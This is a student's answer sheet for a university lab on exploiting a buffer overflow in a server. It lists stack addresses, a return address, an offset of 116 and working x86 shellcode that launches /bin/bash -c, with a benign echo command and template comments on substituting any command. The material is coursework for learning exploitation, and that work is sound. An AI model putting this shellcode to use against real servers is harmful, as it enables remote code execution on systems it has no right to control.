|  |  |
| --- | --- |
| Course | INFT1201 Hacking and Exploits |
| Lab | Lab 8- Buffer Overflow (Server) |
| Name of the Student | Maisha Khatoon |
| Student ID | 100899259 |

INFT1201 Hacking and Exploits

Lab 8: Buffer Overflow (Server) - Answer File

**Question#1**: What is the Frame Pointer (ebp) inside bof() address? (10 Marks)

0xffffd3b8

**Question#2**: What is the Buffer’s address inside bof()? (10 Marks)

0xffffd348

**Question 3:** Provide your shellcode. Only the shellcode, not the whole exploit.py. (10 Marks)

Shellcode = (Copy and paste your shellcode here.)

(

#"" # Put the shellcode in here

"\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"

"\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"

"\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"

"/bin/bash\*"

"-c\*"

# You can modify the following command string to run any command.

# You can even run multiple commands. When you change the string,

# make sure that the position of the \* at the end doesn't change.

# The code above will change the byte at this position to zero,

# so the command string ends here.

# You can delete/add spaces, if needed, to keep the position the same.

# The \* in this line serves as the position marker \*

"echo Hello Maisha @ HACK2200 \*"

"AAAA" # Placeholder for argv[0] --> "/bin/bash"

"BBBB" # Placeholder for argv[1] --> "-c"

"CCCC" # Placeholder for argv[2] --> the command string

"DDDD" # Placeholder for argv[3] --> NULL

).encode('latin-1')

**Question 4**: What is the value of the ret address? (10 Marks)

ffff d3cc

**Question 5**: What is the value of the offset? (10 Marks)

116

Insert Screenshot#1 Here (10 Marks)

A screenshot of a computer

Description automatically generated

Insert Screenshot#2 Here (20 Marks)

A screenshot of a computer

Description automatically generated

Upload the video (in .mp4 format) to the assignment dropbox. (20 Marks)